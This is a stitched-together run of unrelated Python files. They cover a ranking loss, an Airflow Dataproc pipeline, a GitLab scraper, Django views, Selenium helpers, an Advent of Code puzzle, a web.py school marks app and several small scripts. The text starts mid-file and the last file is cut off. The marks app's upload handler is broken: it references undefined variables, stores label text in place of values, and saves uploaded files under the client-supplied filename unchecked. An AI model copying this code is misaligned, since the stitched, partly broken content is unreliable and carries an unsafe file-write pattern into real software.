         # for boosted weights
        if self.apply_boosted_weight:
            boosted_y_sorted_by_preds = torch.gather(boosted_y, dim=1, index=indices_pred)
            boosted_diffs = (boosted_y_sorted_by_preds[:, :, None] - boosted_y_sorted_by_preds[:, None, :]).clamp(min=-clamp_val, max=clamp_val)
            boosted_diffs.masked_fill(torch.isnan(boosted_diffs), 0.)
            boosted_weights = self.boosted_k * torch.sigmoid(-boosted_diffs) + self.boosted_b

            losses *= boosted_weights

        if self.reduction == "sum":
            loss = torch.sum(losses[padded_pairs_mask])
        elif self.reduction == "mean":
            loss = torch.mean(losses[padded_pairs_mask])
        else:
            raise ValueError("Reduction method can be either sum or mean")

        return loss

def ndcgLoss1_scheme(G, D, *args):
    return (G / D)[:, :, None]

if __name__ == "__main__":
    y_pred = torch.tensor([[106., 110., 109., 108.],
                [110., 106., 109., 108.]])
    y_true = torch.tensor([[1., .5, .33, .25],
                [1., .5, .33, .25]])
    boosted_y = torch.tensor([[103., 111., 110., 108.],
                   [111., 107., 105., 108.]])

    lambda_loss_1 = CustomLambdaLoss(False)
    #print(lambda_loss_1(y_pred, y_true))

    lambda_loss_1 = CustomLambdaLoss(True)
    print(lambda_loss_1(y_pred, y_true, boosted_y))

    new_indices = torch.LongTensor([[1,0,3,2], [3,2,1,0]])
    y_pred = torch.gather(y_pred, dim=-1, index=new_indices)
    y_true = torch.gather(y_true, dim=-1, index=new_indices)
    boosted_y = torch.gather(boosted_y, dim=-1, index=new_indices)
    print(lambda_loss_1(y_pred, y_true, boosted_y))


from airflow import DAG
from datetime import timedelta,datetime
from airflow.utils.dates import days_ago
from airflow.providers.google.cloud.operators.dataproc import  (
    ClusterGenerator,
    DataprocCreateClusterOperator,
    DataprocDeleteClusterOperator,
    DataprocSubmitJobOperator
)
from airflow.utils.trigger_rule import TriggerRule
from airflow.operators.python_operator import PythonOperator, BranchPythonOperator
from airflow.providers.google.cloud.operators.bigquery import (
    BigQueryCreateEmptyDatasetOperator,
    BigQueryGetDatasetOperator,
    BigQueryCreateExternalTableOperator,
    BigQueryUpdateTableOperator
)
from airflow.utils.state import State
from airflow.providers.google.cloud.transfers.gcs_to_bigquery import GCSToBigQueryOperator

CLUSTER_NAME = 'bronze-to-silver-cluster'
REGION='us-east1'
PROJECT_ID='rent-extract-project'
PYSPARK_URI_SILVER='gs://spark-scripts-rent-project/spark_rent_extraction_bronze_to_silver.py'
PYSPARK_URI_GOLD='gs://spark-scripts-rent-project/spark_rent_extraction_silver_to_gold.py'
INIT_BUCKET="gold-init-script"
INIT_FILE="pip-install.sh"
DATASET_NAME="rent_extraction_dataset"
DATA_SAMPLE_GCS_BUCKET_NAME="rent-extraction-us"
DATA_SAMPLE_GCS_OBJECT_NAME='gold/gold_rent_extraction.parquet/*.parquet'

CLUSTER_GENERATOR_CONFIG = ClusterGenerator(
    project_id=PROJECT_ID,
    zone=REGION+"-b",
    master_machine_type="n1-standard-2",
    master_disk_size=32,
    worker_machine_type="n1-standard-2",
    worker_disk_size=32,
    num_workers=2,
    init_actions_uris=[f"gs://{INIT_BUCKET}/{INIT_FILE}"],
    metadata={"PIP_PACKAGES": "googlemaps"}
).make()

PYSPARK_JOB_SILVER = {
    "reference": {"project_id": PROJECT_ID},
    "placement": {"cluster_name": CLUSTER_NAME},
    "pyspark_job": {"main_python_file_uri": PYSPARK_URI_SILVER},
}

PYSPARK_JOB_GOLD = {
    "reference": {"project_id": PROJECT_ID},
    "placement": {"cluster_name": CLUSTER_NAME},
    "pyspark_job": {"main_python_file_uri": PYSPARK_URI_GOLD},
}

def choose_task_to_create_dataset(upstream_task_id, dag_run):
    upstream_task_state = dag_run.get_task_instance(upstream_task_id).state
    if upstream_task_state == State.FAILED:
        return "create_dataset"
    elif upstream_task_state == State.SUCCESS:
        return "create_sao_paulo_rent_analisys"

def choose_task_to_update_table(upstream_task_id, dag_run):
    upstream_task_state = dag_run.get_task_instance(upstream_task_id).state
    if upstream_task_state == State.FAILED:
        return "update_table_sao_paulo_rent_analisys"

with DAG(
    dag_id='bronze_to_silver_gold_rent_dataproc',
    start_date=datetime(2021, 1, 1),
    schedule_interval="0 0 * * *",
    catchup=False
) as dag:

    create_cluster = DataprocCreateClusterOperator(
        task_id="create_cluster",
        project_id=PROJECT_ID,
        cluster_config=CLUSTER_GENERATOR_CONFIG,
        region=REGION,
        cluster_name=CLUSTER_NAME,
        retries=0

    )

    execute_spark_bronze_to_silver_rent = DataprocSubmitJobOperator(
        task_id="execute_spark_bronze_to_silver_rent",
        job=PYSPARK_JOB_SILVER,
        region=REGION,
        project_id=PROJECT_ID,
        retries=0

    )

    execute_spark_silver_to_gold_rent = DataprocSubmitJobOperator(
        task_id="execute_spark_silver_to_gold_rent",
        job=PYSPARK_JOB_GOLD,
        region=REGION,
        project_id=PROJECT_ID,
        retries=0

    )
    delete_cluster = DataprocDeleteClusterOperator(
        task_id="delete_cluster",
        project_id=PROJECT_ID,
        cluster_name=CLUSTER_NAME,
        region=REGION,
        trigger_rule=TriggerRule.ALL_DONE,
        retries=0
    )

    get_dataset = BigQueryGetDatasetOperator(task_id="get-dataset", dataset_id=DATASET_NAME,retries=0)

    branch_task_creation = BranchPythonOperator(
        task_id='branch_task_creation',
        python_callable=choose_task_to_create_dataset,
        op_args=[get_dataset.task_id],
        trigger_rule="all_done",
        provide_context=True,
        dag=dag,
    )

    create_dataset = BigQueryCreateEmptyDatasetOperator(task_id="create_dataset", dataset_id=DATASET_NAME,retries=0)

    create_sao_paulo_rent_analisys = GCSToBigQueryOperator(
        task_id="create_sao_paulo_rent_analisys",
        bucket=DATA_SAMPLE_GCS_BUCKET_NAME,
        source_objects=[DATA_SAMPLE_GCS_OBJECT_NAME],
        source_format='PARQUET',
        destination_project_dataset_table=f"{DATASET_NAME}.sao_paulo_rent_analisys",
        schema_fields=[
        {"name": "price", "type": "INTEGER", "mode": "REQUIRED"},
        {"name": "total_price", "type": "INTEGER", "mode": "REQUIRED"},
        {"name": "address", "type": "STRING", "mode": "REQUIRED"},
        {"name": "floor_size", "type": "INTEGER", "mode": "REQUIRED"},
        {"name": "number_of_rooms", "type": "INTEGER", "mode": "REQUIRED"},
        {"name": "number_of_bathrooms", "type": "INTEGER", "mode": "REQUIRED"},
        {"name": "latitude", "type": "FLOAT64", "mode": "REQUIRED"},
        {"name": "longitude", "type": "FLOAT64", "mode": "REQUIRED"},
        {"name": "neighborhood", "type": "STRING", "mode": "REQUIRED"}
    ],
    write_disposition="WRITE_TRUNCATE",
    retries=0,
    trigger_rule="one_success"
)

    create_cluster >> execute_spark_bronze_to_silver_rent
    execute_spark_bronze_to_silver_rent >> execute_spark_silver_to_gold_rent
    execute_spark_silver_to_gold_rent >> delete_cluster
    delete_cluster >> get_dataset
    get_dataset>>branch_task_creation
    branch_task_creation >> [create_dataset,create_sao_paulo_rent_analisys]
    create_dataset >> create_sao_paulo_rent_analisys
    create_sao_paulo_rent_analisys


from PIL import Image, ImageDraw, ImageFont

image = Image.open("image.png")

draw = ImageDraw.Draw(image)

font = ImageFont.truetype("arial.ttf", size = 30)

name = "Матвеев Кирилл"

x = 150
y = 275

draw.text((x,y), name, font = font, fill = (0, 0, 0))

image.save("image_with_name.png")

www/resources/python/script for image before school/main.py


""" Script for spy Gitlab.com """
import sys
import requests
from bs4 import BeautifulSoup

URL_GITLAB = 'https://about.gitlab.com/features/'
TITLE_OF_FREE_PRODUCTS = "Available in GitLab SaaS Free"
TITLE_OF_ENTERPRISE_PRODUCTS = "Not available in SaaS Free"

def process_for_gitlab(url_gitlab):
    """ Return number of products on Gitlab.com """
    gitlab_html = requests.get(url_gitlab)
    gitlab_html = gitlab_html.text
    gitlab_soup = BeautifulSoup(gitlab_html, features='html.parser')

    links_on_free_products = gitlab_soup.find_all(
        "a", attrs={"title": TITLE_OF_FREE_PRODUCTS}
    )
    links_on_enterprise_products = gitlab_soup.find_all(
        "a", attrs={"title": TITLE_OF_ENTERPRISE_PRODUCTS}
    )

    num_free_products = len(links_on_free_products)
    num_enterprise_products = len(links_on_enterprise_products)

    return num_free_products, num_enterprise_products

def print_result_gitlab():
    """ Print result of process_for_gitlab """
    num_free_products, num_enterprise_products = process_for_gitlab(URL_GITLAB)
    print(f'free products: {num_free_products}')
    print(f'enterprise products: {num_enterprise_products}')

if __name__ == "__main__":
    if 'gitlab' in sys.argv and len(sys.argv) == 2:
        print_result_gitlab()


import sys
from collections import deque

N = int(sys.stdin.readline().rstrip())
stack = list(map(int, sys.stdin.readline().split()))

maximum = -1
big_group = deque()
result = deque()

while stack:
    current = stack.pop()
    if current > maximum:
        result.appendleft(-1)
        maximum = current
    else:
        has_b = False
        for b in big_group:
            if current < b:
                result.appendleft(b)
                has_b = True
                break
        if not has_b:
            result.appendleft(maximum)

    big_group.appendleft(current)

print(*result)


from django.shortcuts import render, get_object_or_404
from .models import Agent

# Create your views here.
def index(request):
    agents = Agent.objects.order_by('-join_date')

    context= {
        'agents': agents
    }
    return render(request, 'agents/agents.html', context)

def agent(request, agent_id):

    agent = get_object_or_404(Agent, pk=agent_id)

    context = {
        'agent' : agent
    }

    return render(request, 'agents/agent.html', context)


from config import (
    part_table_names,
    build_table_name,
    build_full_join_map,
    ignored_build_filter_fields,
)
from actions.Action import Action
from database.pages import get_current_and_total_pages
from database.filters import get_resource_filters
from database.resources import get_resources
from database.utils import load_tables

class GetBuilds(Action):
    def __init__(self):
        self._name = "GetBuilds"
        self._descripption = "Returns build data"

    def perform(self, db, offset, filters, by_popularity):
        tables, parent_tables = load_tables(db, [build_table_name], part_table_names)
        build_table = tables.get(build_table_name)

        filter_data = get_resource_filters(
            db,
            build_table,
            parent_tables,
            build_full_join_map,
            ignored_build_filter_fields,
        )
        current_page, total_pages, offset = get_current_and_total_pages(
            db, build_table, filters, current_page=offset
        )
        builds = get_resources(
            db,
            build_table,
            parent_tables,
            offset,
            filters,
            build_full_join_map,
            by_popularity,
        )
        return {
            "filters": filter_data,
            "currentPage": current_page,
            "totalPages": total_pages,
            "builds": builds,
        }


from typing import List, Union

from yattag import Doc

from ..exceptions import WQXException
from .Organization_Delete import OrganizationDelete

class WQXDelete:
    """
    Main Schema used to delete a portion of water monitoring results from EPA Office of
    Water system.
    """

    __organizationDelete: List[OrganizationDelete]

    def __init__(
        self, o: dict = None, *, organizationDelete: List[OrganizationDelete] = None
    ):
        if isinstance(o, WQXDelete):
            # Assign attributes from object without typechecking
            self.__organizationDelete = o.organizationDelete
        elif isinstance(o, dict):
            # Assign attributes from dictionary with typechecking
            self.organizationDelete = o.get("organizationDelete")
        else:
            # Assign attributes from named keywords with typechecking
            self.organizationDelete = organizationDelete

    @property
    def organizationDelete(self) -> List[OrganizationDelete]:
        return self.__organizationDelete

    @organizationDelete.setter
    def organizationDelete(
        self, val: Union[OrganizationDelete, List[OrganizationDelete]]
    ) -> None:
        if val is None:
            self.__organizationDelete = []
        elif isinstance(val, list):
            r: List[OrganizationDelete] = []
            for x in val:
                r.append(OrganizationDelete(x))
            self.__organizationDelete = r
        else:
            self.__organizationDelete = [OrganizationDelete(val)]

    def generateXML(self, name="WQXDelete"):
        doc = Doc()
        asis = doc.asis
        tag = doc.tag

        with tag(
            name,
            ("xmlns", "http://www.exchangenetwork.net/schema/wqx/3"),
            ("xmlns:xsi", "http://www.w3.org/2001/XMLSchema-instance"),
            (
                "xsi:schemaLocation",
                "http://www.exchangenetwork.net/schema/wqx/3 "
                "http://www.exchangenetwork.net/schema/wqx/3/index.xsd",
            ),
        ):
            if self.__organizationDelete is None:
                raise WQXException("Attribute 'organizationDelete' is required.")
            for x in self.__organizationDelete:
                asis(x.generateXML("OrganizationDelete"))

        return doc.getvalue()


from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as exp
from selenium.webdriver.common.by import By
from selenium  import webdriver
from selenium import webdriver

class Base:

    def __init__(self,driver:webdriver.Chrome):
        #driver如果不加：webdriver.Firefox就是传的形参，加了就是映射了webdriver这个类，其他方法可以直接调用
        self.driver = driver
        self.timeout = 10
        self.t = 0.5

    # 重写元素定位方法 新加2020-1
    def find_element(self, *loc):
        #        return self.driver.find_element(*loc)
        try:
            # 确保元素是可见的。
            # 注意：以下入参为元组的元素，需要加*。Python存在这种特性，就是将入参放在元组里。
            #            WebDriverWait(self.driver,10).until(lambda driver: driver.find_element(*loc).is_displayed())
            # 注意：以下入参本身是元组，不需要加*
            WebDriverWait(self.driver, 10).until(exp.visibility_of_element_located(loc))
            return self.driver.find_element(*loc)
        except:
            print(u"%s 页面中未能找到 %s 元素" % (self, loc))

    def findelement_new(self, locator, timeout = 10, t = 0.5,):
        #定位到元素返回元素对象，没有定位到元素，返回timeout异常
        element = WebDriverWait(self.driver,timeout,t).until(exp.presence_of_element_located(locator))
        return element

    def findelement(self, locator, timeout = 10, t = 0.5,):
        # 抓取单个元素
        element = WebDriverWait(self.driver,timeout,t).until(lambda x: x.find_element(*locator))
        return element

    def findelements(self, loctor, timeout = 10, t = 0.5,):
        # 抓取一组元素
        try:
            elements = WebDriverWait(self.driver,timeout,t).until(lambda x: x.find_elements(*loctor))
            return elements
        except:
             return []

    def sendkeys(self,loctor,text,is_clear=False):
        # 找到元素并输入
        if is_clear:
            ele = self.findelement(loctor)
            ele.clear()
            ele.send_keys(text)
        # 转True的时候执行上面：
        else:
            ele = self.findelement(loctor)
            ele.send_keys(text)

    def click(self,loctor):
        # 找到元素并点击
        ele = self.findelement(loctor)
        ele.click()

    def clear(self,loctor):
        # 找到元素并清除
        ele = self.findelement(loctor)
        ele.clear()

    def isselected(self,loctor):
        # 找到元素判断是否为选中状态，包括多选框、radio、select下拉框等，返回bool值：true or false
        ele = self.findelement(loctor)
        r = ele.is_selected()
        return r

    def isdisplayed(self,loctor):
        # 判断元素是否存在，返回bool值：true or false
        ele = self.findelement(loctor)
        r = ele.is_displayed()
        return r

    def result(self,loctor):
        # 判断是否被全选中
        try:
            r = []
            all = self.findelements(loctor)
            for i in all:
                if not i.is_selected():
                    i.click()
                    r.append(i.is_selected())
                else:
                    r.append(i.is_selected())
            return r
        except:
            return False

    def is_title(self,_title,timeout = 10, t = 0.5):
        '''title中预期结果与实际传入driver是否相等'''
        try:
            result = WebDriverWait(self.driver, timeout, t).until(exp.title_is(_title))
            return result
        except:
            return False

    def is_title_contains(self,_title,timeout = 10, t = 0.5):
        #title中预期结果是否包含driver实际结果的数据
        try:
            result = WebDriverWait(self.driver, timeout, t).until(exp.title_contains(_title))
            return result
        except:
            return False

    def text_in_to_element(self,locator,_text,timeout = 10, t = 0.5):
        try:
        #判断某个元素中的text是否包含了预期的字符串
            result = WebDriverWait(self.driver, timeout, t).until(exp.text_to_be_present_in_element(locator,_text))
            return result
        except:
            return False

    def text_to_present_in_element_value(self,locator,_value,timeout = 10, t = 0.5):
        try:
        #判断某个元素中的value属性是否 包含了预期的字符串
        #返回bool值，values为空时，返回False
            result = WebDriverWait(self.driver, timeout, t).until(exp.text_to_be_present_in_element_value(locator,_value))
            return result
        except:
            return False

# if __name__== "__mian__":
#     driver = webdriver.Firefox()
#     driver.maximize_window()
#     driver.get("http://66.16.17.180:8001/login.html")
#     findele = Base()
#     findele.sendkeys(("id","loginUsername"),"admin",True)


#!/usr/bin/env python3

import fileinput

from rich import print
from rich.traceback import install

install(show_locals=True)

def process_part1(lines: list[str]) -> str:
    total = 0
    for line in lines:
        first, second = line.split(",")
        first_start, first_end = first.split("-")
        second_start, second_end = second.split("-")
        first_range = set(list(range(int(first_start), int(first_end) + 1)))
        second_range = set(list(range(int(second_start), int(second_end) + 1)))
        total += first_range.issuperset(second_range) or second_range.issuperset(first_range)
    return str(total)

def process_part2(lines: list[str]) -> str:
    total = 0
    for line in lines:
        first, second = line.split(",")
        first_start, first_end = first.split("-")
        second_start, second_end = second.split("-")
        first_range = set(list(range(int(first_start), int(first_end) + 1)))
        second_range = set(list(range(int(second_start), int(second_end) + 1)))
        if first_range & second_range:
            total += 1
    return str(total)

def test_part1():
    lines = [line.rstrip("\n") for line in fileinput.input("input-testing.txt")]
    solution = process_part1(lines)
    assert solution == "2"
    print("testing part 1: ✓")

def test_part2():
    lines = [line.rstrip("\n") for line in fileinput.input("input-testing.txt")]
    solution = process_part2(lines)
    assert solution == "4"
    print("testing part 2: ✓")

def solve_part1():
    lines = [line.rstrip("\n") for line in fileinput.input("input-solving.txt")]
    solution = process_part1(lines)
    print(f"solving part 1: {solution}")

def solve_part2():
    lines = [line.rstrip("\n") for line in fileinput.input("input-solving.txt")]
    solution = process_part2(lines)
    print(f"solving part 2: {solution}")

def main():
    test_part1()
    solve_part1()
    test_part2()
    solve_part2()

if __name__ == "__main__":
    main()


import web,math,os,xlrd,conv,model,simplejson

from web import form

urls = (
    '/','index',
    '/upload', 'upload',
    '/marks','marks',
    '/markedit','markedit',
    '/reports', 'reports',
    '/delmarks', 'delmarks',
    '/stu', 'stu',
    '/stuview','stuview',
    )

app=web.application(urls,globals())

uploadform = form.Form (
    form.File('datafile'),
    # form.Dropdown('asmt',[('FA1','FA1'),('FA2','FA2'),('SA1','SA1'),('FA3','FA3'), ('FA4','FA4'), ('SA2','SA2')]),
    # form.Dropdown('year',[('2010-11','2010-11'),('2011-12','2011-12')]),
    # form.Dropdown('std',[('9','9'),('10','10')]),
    # form.Dropdown('section',[('A','A'),('B','B'),('C','C')]),
    # form.Dropdown('subject',[('Kannada','Kannada'),('Maths','Maths')]),
    # form.Textbox('per'),
    form.Button('Upload')
    )

marksform = form.Form(
    form.Dropdown('asmt',[('FA1','FA1'),('FA2','FA2'),('SA1','SA1'),('FA3','FA3'), ('FA4','FA4'), ('SA2','SA2'),('All','All')]),
    form.Dropdown('year',[('2010-11','2010-11'),('2011-12','2011-12')]),
    form.Dropdown('std',[('9','9'),('10','10')]),
    form.Dropdown('section',[('A','A'),('B','B'),('C','C')]),
    form.Dropdown('subject',[('Kannada','Kannada'),('Maths','Maths')]),
    form.Button('Submit')
    )

stuform = form.Form(
    form.Dropdown('year',[('2010-11','2010-11'),('2011-12','2011-12')]),
    form.Dropdown('std',[('9','9'),('10','10')]),
    form.Dropdown('section',[('A','A'),('B','B'),('C','C')]),
    form.Button('Submit')
    )

session=web.session.Session(app,web.session.DiskStore('sessions'),initializer={'logged':False})

render = web.template.render('templates/',
                             base="layout",
                             globals={'context':session},
                             )

class index:
    def __init__(self):
        pass
    def GET(self):
        return render.index()
    def POST(self):
        pass

class upload:
    def __init__(self): pass

    def GET(self):
        upform = uploadform()
        message = ''
        reports = model.getReports()
        return render.upload(message,upform,reports)
    def POST(self):
        disdir = os.path.join(os.getcwd(),'files')
        x= web.input(datafile={})

        # asmt = x.asmt.lower()
        # year = x.year
        # std = x.std
        # section = x.section
        # sub = x.subject
        # max = int(x.max)
        a = ('year','section','assessment','percent')

        if 'datafile' in x:
            filename = x.datafile.filename
            f = open(os.path.join(disdir,filename),'w')
            f.write(x.datafile.file.read())
            f.close()
            book = xlrd.open_workbook(os.path.join(disdir,filename))
            sheet = book.sheet_by_index(0)
            # print sheet
            for rownum in range(sheet.nrows):
                # if rownum == 0: continue
                row = sheet.row_values(rownum)
                if row[0].lower() == 'year':
                    year = row[0].lower()
                    continue
                if row[0].lower() == 'standard':
                    std = row[0].lower()
                    continue
                if row[0].lower() == 'section':
                    section = row[0].lower()
                    continue
                if row[0].lower() == 'assessment':
                    asmt = row[0].lower()
                    continue
                if row[0].lower() == 'percent':
                    per = row[0].lower()
                    continue
                if row[0].lower() == 'marks': continue
                if row[0].lower() == 'sl': continue
                name = row[1]
                adnum = row[2]
                english = float(row[3])
                seclang = float(row[4])
                maths = float(row[5])
                science = float(row[6])
                social = float(row[7])
                studentid = model.getStudentId(year,std,section,adnum,name)

                fields =  model.asmts[asmt]['fields']
                forten = conv.toten(mark,max)
                grade = conv.grade(conv.tocent(mark,max))
                per = conv.getContri(asmt,forten)
                data = [mark,max,grade,per]
                markid = model.getMarkId(studentid,sub,year,std,section)

                model.updateMark(markid,fields,data)

        raise web.seeother('/upload')

class marks:
    def __init__(self):
        pass

    def GET(self):
        mform= marksform()
        message = ''
        return render.marks(message,mform)

    def POST(self):
        form = marksform()
        q = web.input()
        render = web.template.render('templates/', base=None,globals={'context':session})
        if model.isMarkThere(q.subject,q.year,q.std,q.section) == False:
            return render.marksajax(None,None,None,None,None)

        marks = model.getMarks(q.subject,q.year,q.std,q.section,q.asmt.lower())
        field_names = model.asmts[q.asmt.lower()]['names']
        fields = model.asmts[q.asmt.lower()]['fields']
        asmt = q.asmt.lower()
        return render.marksajax(fields,field_names,marks,asmt)

class markedit:
    def __init__(self):
        pass
    def GET(self):
        q = web.input()
        render = web.template.render('templates/', base=None,globals={'context':session})
        mark = model.getAsmtMarksById(int(q.id))
        mark = mark[0]
        active= model.asmts[q.a]['fields'][0]
        return render.markedit(mark,active)

    def POST(self):
        q = web.input()
        markid = int(q.markid)
        marks = model.getMarksByMarkId(markid)
        ret = {}
        ret = {'fields':{},'id':0, 'status': False}
        render = web.template.render('templates/', base=None,globals={'context':session})

        if 'fa1_m' in q:
            fa1_m = float(q.fa1_m)
            forten = conv.toten(fa1_m,marks['fa1_o'])
            grade = conv.grade(conv.tocent(fa1_m,marks['fa1_o']))
            per = conv.getContri('fa1',forten)
            fields = model.asmts['fa1']['fields']
            data= [fa1_m,marks['fa1_o'],grade,per]
            model.updateMark(markid,fields,data)
            ret['fields'] = {'fa1_m':fa1_m,'fa1_g':grade,'fa1_p': per}
            ret['id'] = markid
            ret['status'] = True

        if 'fa2_m' in q:
            fa2_m = float(q.fa2_m)
            forten = conv.toten(fa2_m,marks['fa2_o'])
            grade = conv.grade(forten)
            per = conv.getContri('fa2',forten)
            fields = model.asmts['fa2']['fields']
            data = [fa2_m,marks['fa2_o'],grade,per]
            model.updateMark(markid,fields,data)
            ret['fields'] = {'fa2_m':fa2_m,'fa2_g':grade,'fa2_p': per}
            ret['id'] = markid
            ret['status'] = True

        if 'sa1_m' in q:
            sa1_m = float(q.sa1_m)
            forten = conv.toten(sa1_m,marks['sa1_o'])
            grade = conv.grade(forten)
            per = conv.getContri('sa1_m',forten)
            fields = model.asmts['sa1']['fields']
            data= [sa1_m,marks['sa1_o'],grade,per]
            model.updateMark(markid,fields,data)
            ret['fields'] = {'sa1_m':sa1_m,'sa1_g':grade,'sa1_p': per}
            ret['id'] = markid
            ret['status'] = True

        if 'fa3_m' in q:
            fa3_m = float(q.fa3_m)
            forten = conv.toten(fa3_m,marks['fa3_o'])
            grade = conv.grade(forten)
            per = conv.getContri('fa3_m',forten)
            fields = model.asmts['fa3']['fields']
            data= [fa3_m,marks['fa3_o'],grade,per]
            model.updateMark(markid,fields,data)
            ret['fields'] = {'fa3_m':fa3_m,'fa3_g':grade,'fa3_p': per}
            ret['id'] = markid
            ret['status'] = True

        if 'fa4_m' in q:
            fa4_m = float(q.fa4_m)
            forten = conv.toten(fa4_m,marks['fa4_o'])
            grade = conv.grade(forten)
            per = conv.getContri('fa4_m',forten)
            fields = model.asmts['fa4']['fields']
            data=[fa4_m,marks['fa4_o'],grade,per]
            model.updateMark(markid,fields,data)
            ret['fields'] = {'fa4_m':fa4_m,'fa4_g':grade,'fa3_p': per}
            ret['id'] = markid
            ret['status'] = True

        if 'sa2_m' in q:
            sa2_m = float(q.sa2_m)
            forten = conv.toten(sa2_m,marks['sa2_o'])
            grade = conv.grade(forten)
            per = conv.getContri('sa2_m',forten)
            fields = model.asmts['sa2']['fields']
            data= [sa2_m,marks['sa2_o'],grade,per]
            model.updateMark(markid,fields,data)
            ret['fields'] = {'sa2_m':fa4_m,'sa2_g':grade,'sa23_p': per}
            ret['id'] = markid
            ret['status'] = True

        web.header("Content-Type","text/json;charset=utf-8")
        return render.savemark(simplejson.dumps(ret))

class reports:
    def __init__(self):
        pass
    def GET(self):
        reports = model.getAllReports()
        return render.reports(reports)

class delmarks:
    def __init__(self):
        pass
    def GET(self):
        q = web.input()
        ret = {}
        ret['done'] = False
        count = model.delMarks(q.year,q.sec,q.sub)
        if count > 0:
            ret['done'] = True
            ret['count'] = count

        render = web.template.render('templates/', base=None,globals={'context':session})
        web.header("Content-Type","text/json;charset=utf-8")
        return render.delmarks(simplejson.dumps(ret))

class stu:
    def __init__(self):
        pass
    def GET(self):
        sform = stuform()
        return render.stu(sform)
    def POST(self):
        q = web.input()
        students = model.getStudents(q.year,q.std,q.section)
        render = web.template.render('templates/', base=None,globals={'context':session})
        return render.stuajax(students)

class stuview:
    def __init__(self):
        pass
    def GET(self):
        q = web.input()
        marks = model.getStudentMarks(q.id,q.sub)
        return render.stuviewajax(marks[0])
    def POST(self):
        pass

if __name__=='__main__': app.run()


'''
Created on 24.03.2011

@author: michi
'''
from PyQt4.QtGui import QItemDelegate

from sqlalchemy import Table
from sqlalchemy.sql import Alias,Select

from ems import qt4

class ColumnSectionMapper(object):
    def __init__(self,alchemySelect=None, parent=None):
        self.__columnConfigs = []
        self.__columnConfigIdByName = {}
        self.__alchemySelect = alchemySelect
        self.__delegate = MapperDelegate(self,parent)
        pass

    def addColumn(self,columnName,translatedName=None, delegate=None):
        if self.__columnConfigIdByName.has_key(columnName):
            raise KeyError("Column %s already assigned" % columnName)
        index = len(self.__columnConfigs)
        self.__columnConfigs.append({'name':columnName,
                                     'translatedName':translatedName,
                                     'delegate':delegate})
        self.__columnConfigIdByName[columnName] = index

    @property
    def translatedColumnNames(self):
        names = {}
        for config in self.__columnConfigs:
            names[config['name']] = config['translatedName']

        return names

    def __extractTablesFormSelect(self,alchemySelect):
        tableDict = {}
        for fromCond in alchemySelect.locate_all_froms():
            if isinstance(fromCond, Table):
                tableDict[str(fromCond.name)] = fromCond
            elif isinstance(fromCond,Alias):
                if isinstance(fromCond.original,Table):
                    tableDict[str(fromCond.name)] = fromCond
        return tableDict

    def getDelegate(self):
        return self.__delegate

    def getColConfig(self, column):
        if isinstance(column, int):
            index = column
        else:
            index = self.__columnConfigIdByName[unicode(column)]
        return self.__columnConfigs[index]

    def getSelectColumns(self, alchemySelect=None):
        if alchemySelect is None:
            alchemySelect = self.__alchemySelect
        if not isinstance(alchemySelect, Select):
            raise TypeError("alchemySelect has to be instanceof sqlalchemy.select")
        tableDict = self.__extractTablesFormSelect(alchemySelect)
        columnList = []
        for config in self.__columnConfigs:
            tableName,colName = config['name'].split('.')
            if tableDict.has_key(tableName):
                columnList.append(tableDict[tableName].c[colName])
        return columnList

class MapperDelegate(QItemDelegate):

    def __init__(self, mapper, parent=None):
        super(MapperDelegate, self).__init__(parent)
        self.__mapper = mapper

    def getDelegate(self, index):
        colName = index.data(qt4.ColumnNameRole).toString()
        delegate = self.__mapper.getColConfig(colName)['delegate']
        return delegate

    def paint(self, painter, option, index):
        delegate = self.getDelegate(index)
        if delegate is not None:
            delegate.paint(painter, option, index)
        else:
            QItemDelegate.paint(self, painter, option, index)

    def createEditor(self, parent, option, index):
        delegate = self.getDelegate(index)
        if delegate is not None:
            return delegate.createEditor(parent, option, index)
        else:
            return QItemDelegate.createEditor(self, parent, option,
                                              index)

    def setEditorData(self, editor, index):
        delegate = self.getDelegate(index)
        if delegate is not None:
            delegate.setEditorData(editor, index)
        else:
            QItemDelegate.setEditorData(self, editor, index)

    def setModelData(self, editor, model, index):
        delegate = self.getDelegate(index)
        if delegate is not None:
            delegate.setModelData(editor, model, index)
        else:
            QItemDelegate.setModelData(self, editor, model, index)


import pandas as pd
import matplotlib.pyplot as plt
from scipy.stats import linregress
import numpy as np

def draw_plot():
    # Read data from file
    df = pd.read_csv("epa-sea-level.csv")

    # Create scatter plot
    plt.scatter(df['Year'], df['CSIRO Adjusted Sea Level'])

    # Create first line of best fit
    x = np.arange(df['Year'].min(), 2050, 1)
    reg = linregress(df['Year'], df['CSIRO Adjusted Sea Level'])

    y = x*reg.slope + reg.intercept

    plt.plot(x,y)

    # Create second line of best fit
    new_df = df[df['Year'] >= 2000]

    reg = linregress(new_df['Year'], new_df['CSIRO Adjusted Sea Level'])
    x = np.arange(2000,2050,1)
    print(x)
    y = x*reg.slope + reg.intercept
    print(y)
    plt.plot(x,y)

    # Add labels and title
    plt.xlabel('Year')
    plt.ylabel('Sea Level (inches)')
    plt.title('Rise in Sea Level')

    # Save plot and return data for testing (DO NOT MODIFY)
    plt.savefig('sea_level_plot.png')
    return plt.gca()


import pytest

from pycana.models import School

@pytest.mark.parametrize(
    "label, expected",
    [
        ("ABJURATION", School.ABJURATION),
        ("abjuration", School.ABJURATION),
        ("CONJURATION", School.CONJURATION),
        ("conjuration", School.CONJURATION),
        ("DIVINATION", School.DIVINATION),
        ("divination", School.DIVINATION),
        ("ENCHANTMENT", School.ENCHANTMENT),
        ("enchantment", School.ENCHANTMENT),
        ("EVOCATION", School.EVOCATION),
        ("evocation", School.EVOCATION),
        ("ILLUSION", School.ILLUSION),
        ("illusion", School.ILLUSION),
        ("NECROMANCY", School.NECROMANCY),
        ("necromancy", School.NECROMANCY),
        ("TRANSMUTATION", School.TRANSMUTATION),
        ("transmutation", School.TRANSMUTATION),
    ],
)
def test_school_from_str(label: str, expected: School) -> None:
    assert School.from_str(label) == expected


from __future__ import annotations

from abc import ABC
from typing import TYPE_CHECKING, Dict, List, Optional, Tuple, Union

import pymunk
from gymnasium import spaces

from spg.core.collision import CollisionTypes
from spg.core.position import Coordinate

from ..sensor.ray.ray import RaySensor
from .action import ActionMixin
from .mixin import AttachedStaticMixin, BaseMixin, ShapeMixin, SpriteMixin
from .mixin.body import BodyMixin
from .sensor import SensorMixin

if TYPE_CHECKING:
    from ..playground import Playground

Teams = Union[str, List[str]]

class Entity(SpriteMixin, BodyMixin, ShapeMixin, ABC):
    """
    Entities are elementary entities physically present in the playground.

    """

    _playground: Playground
